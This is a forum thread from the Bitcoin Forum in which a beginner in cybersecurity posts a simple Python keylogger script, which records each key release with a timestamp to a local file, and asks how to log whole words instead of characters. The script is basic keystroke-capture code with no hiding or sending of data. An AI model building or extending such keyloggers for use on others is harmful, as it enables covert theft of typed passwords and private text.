Bitcoin Forum
May 28, 2024, 09:51:07 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: issues with my keylogger project  (Read 17 times)
casey15 (OP)
Newbie
*
Offline Offline

Activity: 8
Merit: 1


View Profile
May 13, 2024, 05:27:20 PM
 #1

I recently ventured into cybersecurity and I recently took on a project to create a keylogger using python programming language, And I am having a few difficulties in modifying my script. I currently make use of kali Linux OS on a virtual machine. Below is the python script I was able to create however I am a little stuck in making modifications to the code so that the key logger  captures and stores the data back in form of group of words instead of individual characters and their time stamp.

Code:
import keyboard
import datetime

log_file= 'keylog.txt'

def write_to_log(key):
    f=open(log_file, 'a')
    f.write(f'{datetime.datetime.now()}: {key}\n')
    f.close

def start_keylogger():
    print('keylogger started. Press "q" to quit')
    keyboard.on_release(write_to_log)

    keyboard.wait('q')

    keyboard.unhook_all()
    print('keylogger has been stopped.')

start_keylogger()
Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!